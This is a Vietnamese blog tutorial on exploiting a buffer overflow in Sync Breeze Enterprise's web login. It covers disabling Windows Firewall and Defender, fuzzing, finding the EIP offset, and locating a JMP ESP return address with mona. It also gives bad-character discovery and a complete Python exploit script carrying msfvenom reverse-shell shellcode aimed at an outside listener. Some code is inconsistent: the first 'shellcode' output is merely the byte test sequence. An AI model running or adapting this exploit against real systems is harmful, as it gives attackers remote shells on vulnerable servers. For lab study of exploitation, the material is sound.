+14

Khai thác Buffer overflow Sync Breeze Enterprise

Buffer overflow có lẽ là một trong những lỗ hổng nổi tiếng nhất mà bất cứ ai làm về bảo mật cũng từng nghe nói về nó. Điều này cũng thể hiện rõ ràng thông qua các bài viết Viblo nói về chủ đề này. Các bạn có thể tìm hiểu tại đây, tại đây hoặc tại đây nữa ... đây nữa !!!.

Do đó trong bài viết này, mình sẽ cố gắng không đề cập tới các khái niệm liên quan tới Buffer overflow (điều mình không tự tin) mà trình bày một cách tối giản nhất việc sử dụng lỗ hổng này để khai thác một ứng dụng trong thực tế. Bắt đầu thôi nào !!

1. Chuẩn bị môi trường

Cài đặt

Step 1 : Tắt Window Firewall trên Windows Server

Window Firewall sẽ tự động block các port đáng ngờ ra bên ngoài, vì vậy có thể sẽ cản trở tới việc reverse shell về máy chủ tấn công

Screenshot_3.png

Step 2 : Tắt Window Defender :

Do Shellcode chúng ta inject vào chương trình là malware thuần túy , việc sử dụng Window Defender sẽ ngăn chặn quá trình tấn công và xảy ra hiện tượng "Em làm mãi mà nó không chạy"

Screenshot_4.png

Step 3 : Cài đặt Syncbreezeent

Step 4: Cài đặt Immunity Debugger

Step 5 Load mona module vào Immunity Debugger

Việc load mona module vào Immunity Debugger khá đơn giản , các bạn chỉ cần copy mona.py file bên trên vào đường dẫn C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands là được.

Step 6: Start Service Syncbreezeent

Screenshot_1.png

Step 7: Cấu hình Syncbreezeent

Syncbreezeent mặc định sẽ không "phơi mặt" ra ngoài cho tới khi ta cấu hình tham số Enable WebServer on Port , đồng thời thiết lập kèm username và password

Screenshot_2.png

Nếu cấu hình thành công giao diện chính của Syncbreezeent sẽ hiện ra như sau

Screenshot_5.png

Step 8: Khởi chạy Immunity Debugger với quyền administrator

Step 9: Attach Process Syncbreezeent vào Immunity Debugger

Trong thanh công cụ của Immunity Debugger ta tiến hành chọn File > Attach > Syncbreezeent. Sau khi attach, process sẽ tự dừng, ấn nút Play (bôi đỏ), khi này góc trái màn hình sẽ chuyển từ Pause sang Running

Screenshot_6.png

Lưu ý :

  1. Khi chọn process Syncbreezeent phải chọn Syncbreezeent Enterprise chứ không phải Syncbreezeent Client
  2. Syncbreezeent sau một thời gian sẽ đòi hỏi license, nhưng có thể bỏ qua nó. Chương trình vẫn chạy "phà phà"

2. Khai thác

2.1. Replicating the Crash

Đầu tiên ta Fuzzing 1000 ký tự A để đảm bảo chương trình bị Crash - Buffer Overflow

Code Fuzzing như sau

#!/usr/bin/python
import socket
try:
    print "\nSending evil buffer..."
    inputBuffer = "A" * 1000
    content = "username=" + inputBuffer + "&password=A"
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 34.87.176.143\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Refenrer: http://34.87.176.143:8082/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"
    buffer += content
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("34.87.176.143", 8082))
    s.send(buffer)
    s.close()
    print "\nDone!"
except:
    print "Could not connect!"

Trong đó thay đổi các giá trị Server (34.87.176.143), Port (8082) , size (1000)

Chương trình bị Crash (chuyển từ Running sang Pause trong Immunity Debugger) là thành công. Nếu không thành công, chúng ta cần xét tới 2 trường hợp:

  • Size bạn truyền vào chưa đủ lớn để chương trình bị tràn
  • Bạn cấu hình sai các bước ở trên, dẫn tới chương trình chính không hoạt động

Sau khi xác minh chương trình bị ảnh hưởng bới Buffer Overflow ta có công thức tổng quát cuối cùng để RCE như sau :

inputBuffer = "A" * EIP + "BBBB" + "\x90" * 16 + Shellcode 

2.2. Controlling EIP

Tạo 1000 ký tự khác nhau với tính năng pattern_create của metasploit

locate pattern_create 
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

Screenshot_7.png

Chạy chương trình, code như sau

#!/usr/bin/python
import socket
try:
    print "\nSending evil buffer..."
    #inputBuffer = "A" * 1000
    inputBuffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
    content = "username=" + inputBuffer + "&password=A"
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 34.87.176.143\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://34.87.176.143:8082/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"
    buffer += content
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("34.87.176.143", 8082))
    s.send(buffer)
    s.close()
    print "\nDone!"
except:
    print "Could not connect!"

Sau khi chạy, ta tìm được giá trị EIP = 42306142

Screenshot_8.png

Chương trình buffer thành công, nhưng hiện tại ta lại chưa biết chính xác bị crash ở điểm nào. Ta sử dụng pattern_offset của metasploit xác định điều này

msf-pattern_offset -l 1000 -q 42306142

Screenshot_9.png

Vậy giá trị EIP trong trường hợp này là 780 !!!

Công thức trở thành

inputBuffer = "A" * 780 + "BBBB" + "\x90" * 16 + Shellcode 

2.3. Finding a Return Address

Dùng mona để tìm kiếm chương trình không được bảo vệ bởi ASLR (Khái niệm ASLR ta có thể tìm hiểu tại đây https://en.wikipedia.org/wiki/Address_space_layout_randomization)

!mona modules

PqlScreenshot_3.png

Sử dụng mona modules để tìm Return Address

!mona find -s “\xff\xe4” -m “libspp.dll”

7NeScreenshot_4.png

Giá trị nhận được là 0x10 09 0c 83

Vậy Return Address sẽ được viết ngược thành 83 9c 09 10 -> \x83\x0c\x09\x10

Công thức bây giờ trở thành

inputBuffer = "A" * 780 + "\x83\x0c\x09\x10" + "\x90" * 16 + Shellcode 

Tạo shellcode với msfvenom

 msfvenom -p windows/shell_reverse_tcp LHOST=hacker.com LPORT=8080 -f c
"x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"

Shellcode như mô tả ban đầu, sẽ được tạo từ Metasploit Framework, tuy nhiên nếu tạo một cách mặc định shellcode sẽ không chạy do chứa các byte mà chương trình không cho phép. Giống như hạt sạn trong bát cơm, quá trình sau được gọi là "nhặt sạn"

2.4. Checking for Bad Characters

Để tìm Bad Characters thì có khá nhiều cách, nhưng cách thủ công và tốn cơm (và hại mắt) (và mệt mỏi) nhất là ta tiến thành đưa toàn bộ Characters (0x01 tới 0xff) vào chương trình để từ đó tìm ra character cụ thể nào bị loại bỏ (0x00 là null byte nên được mặc định là 1 Bad Character)

All Bad Characters như sau :

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )

Đưa vào code sẽ trở thành như sau :

#!/usr/bin/python
import socket
try:
    print "\nSending evil buffer..."
    
    badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
    
    inputBuffer = "A" * 780 + "BBBB" + "CCCC" + badchars
    content = "username=" + inputBuffer + "&password=A"
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 34.87.176.143\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://34.87.176.143:8082/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"
    buffer += content
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("34.87.176.143", 8082))
    s.send(buffer)
    s.close()
    print "\nDone!"
except:
    print "Could not connect!"

PgAScreenshot_6.png

Ở đây ta đếm 01 02 03 04 05 06 07 08 09 xong bắt đầu lỗi , vậy bad chars là 0A

Xóa 0A ta có code

#!/usr/bin/python
import socket
try:
    print "\nSending evil buffer..."
    
    badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
    
    inputBuffer = "A" * 780 + "BBBB" + "CCCC" + badchars
    content = "username=" + inputBuffer + "&password=A"
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 34.87.176.143\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://34.87.176.143:8082/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"
    buffer += content
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("34.87.176.143", 8082))
    s.send(buffer)
    s.close()
    print "\nDone!"
except:
    print "Could not connect!"

iYhScreenshot_7.png

Lặp lại quá trình này tới khi không còn thấy bad chars nào nữa ta tìm được

bad char = 00 0A 0D 25 26 2B 3D

2.5. Create shellcode with Metasploit

msfvenom -p windows/shell_reverse_tcp LHOST=34.126.xx.xx LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
  • shikata_ga_nai là bộ encode payload của metasploit, ngày trước khá xịn nhưng trong môi trường thực tế thì để cho vui
  • Tham số -b ý nói msfvenom tạo cho tôi con shell với thông số này, nhưng làm ơn không sử dụng các ký tự sau "\x00\x0a\x0d\x25\x26\x2b\x3d"

Code sau cùng

#!/usr/bin/python
import socket
try:
    print "\nSending evil buffer..."
    
    shellcode = ("\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\x40\x76\x5a\x7b\xab\x8f\x8f\xea\x48"
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xbc\x3e\xd9"
"\x9f\x5b\x67\x43\xea\x40\x76\x1b\x2a\xea\xdf\xdd\xbb\x08"
"\x47\x88\x2d\xce\xc7\x04\xb8\x20\x3e\xd1\x29\xb3\xc7\x04"
"\xb8\x60\x3e\xd1\x09\xfb\xc2\xbe\x23\x08\x79\xed\x31\xe1"
"\xc7\xbe\x2a\xec\x4a\x3b\x07\xa9\xa3\xaf\xab\x81\xbf\x57"
"\x3a\xaa\x4e\x6d\x07\x12\x37\x0b\x33\x20\xdd\xaf\x61\x02"
"\x4a\x12\x7a\x7b\xe9\x0e\x92\x58\x7d\x58\x74\x2e\xfd\x8f"
"\xea\x40\xfd\xda\xf3\xab\x8f\x8f\xa2\xc5\xb6\x2e\x1c\xe3"
"\x8e\x5f\x61\x08\x6e\x1e\xf0\xeb\xaf\xdf\xa3\x41\xa6\xb9"
"\x2d\xe6\xbe\x46\xa2\xbf\xbf\x1b\xf0\x9f\x07\xc7\xeb\x96"
"\x3e\x6b\xbb\x07\xce\x4e\x23\x4d\x37\x5b\xba\x93\x6f\xfa"
"\x1b\x0c\x75\x16\x5f\xa3\xca\xb6\x3b\x35\xae\x02\x3f\x20"
"\xcf\xab\xa3\x41\xa6\x3c\x3a\x20\x83\xc7\xae\xcb\x36\x46"
"\x32\xaa\x5f\xce\x61\x44\xfe\x1b\x23\xe3\x8e\x5f\xab\x18"
"\x28\x03\x21\xea\xd7\xce\xb3\x01\x2c\x12\xf8\x47\xaf\xce"
"\xb8\xbf\x96\x02\x3a\xf2\xd5\xc7\x61\x52\x9f\x11\x84\x54"
"\x70\xd2\xa3\xfe\x01\x29\x49\xf4\xbc\xbd\xea\x40\x37\x0c"
"\x32\x22\x69\xc7\x6b\xac\xd6\x5b\x7b\xab\xc6\x06\x0f\x09"
"\xca\x58\x7b\xb4\x18\xad\x94\xf5\x51\x1b\x2f\xe2\x06\x6b"
"\xa6\xc9\x87\x1b\xc1\xe7\xf8\xa9\xed\xbf\xa3\x16\xf2\x41"
"\xe7\x8e\xeb\x40\x76\x03\x3a\x11\xa6\x0f\x81\x40\x89\x8f"
"\x11\xa1\xce\xd1\xba\x10\x3b\x6b\xb2\xe6\xbe\x4f\xa2\xbf"
"\xb6\x12\xf2\x69\xc7\x70\x2a\x08\xff\x9b\x3a\x11\x65\x80"
"\x35\xa0\x89\x8f\x33\x22\x48\xe5\xfa\x01\x2e\x16\xf2\x49"
"\xc7\x06\x13\x01\xcc\xc3\xde\xdf\xee\x70\x3f\xc5\xb6\x2e"
"\x71\xe2\x70\x41\x9f\xa5\x9e\xc9\x7b\xab\x8f\xc7\x69\xac"
"\x66\x12\xf2\x49\xc2\xbe\x23\x2a\x72\x1b\x23\xe3\x06\x76"
"\xab\xfa\x74\x83\xb3\xf4\x70\x5a\x69\xb8\x76\x24\x2e\xe3"
"\x0c\x4b\xca\x1e\xff\xac\x11\xeb\xce\xd6\x82\x40\x66\x5a"
"\x7b\xea\xd7\xc7\x63\xb2\x3e\x6b\xb2\xea\x35\xd7\x4e\x13"
"\x93\xa5\xae\xe3\x06\x4c\xa3\xc9\xb1\x17\x4a\x62\xc6\x06"
"\x1a\x08\xff\x80\x33\x22\x76\xce\x50\x42\xaf\x92\x24\x54"
"\x5a\x0c\x12\x40\x0b\x72\x23\xea\xd8\xd6\x82\x40\x36\x5a"
"\x7b\xea\xd7\xe5\xea\x1a\x37\xe0\x70\x84\x80\xbf\x15\x95"
"\x21\x03\x3a\x11\xfa\xe1\xa7\x21\x89\x8f\x32\x54\x41\x66"
"\xd6\xbf\x89\xa5\x33\xaa\x4c\xc7\xc3\x86\x3e\xdf\x8d\xde"
"\x3b\xce\x15\xa7\x2e\x30\x7b\xf2\xc6\x48\x28\xb0\xc3\xf8"
"\x2d\x54\x5a\x8f\xea")
    
    inputBuffer = "A" * 780 + "\x83\x0c\x09\x10" + "\x90" * 16 + shellcode + "\x90" * 16
    content = "username=" + inputBuffer + "&password=A"
    buffer = "POST /login HTTP/1.1\r\n"
    buffer += "Host: 34.87.176.143\r\n"
    buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
    buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += "Accept-Language: en-US,en;q=0.5\r\n"
    buffer += "Referer: http://34.87.176.143:8082/login\r\n"
    buffer += "Connection: close\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "Content-Length: "+str(len(content))+"\r\n"
    buffer += "\r\n"
    buffer += content
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("34.87.176.143", 8082))
    s.send(buffer)
    s.close()
    print "\nDone!"
except:
    print "Could not connect!"

2.6. Exploit !!!

Mọi thứ xong xuôi, ta tiến hành chạy mã khai thác (Nếu không chạy, quay trở lại bước 1)

image.png


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí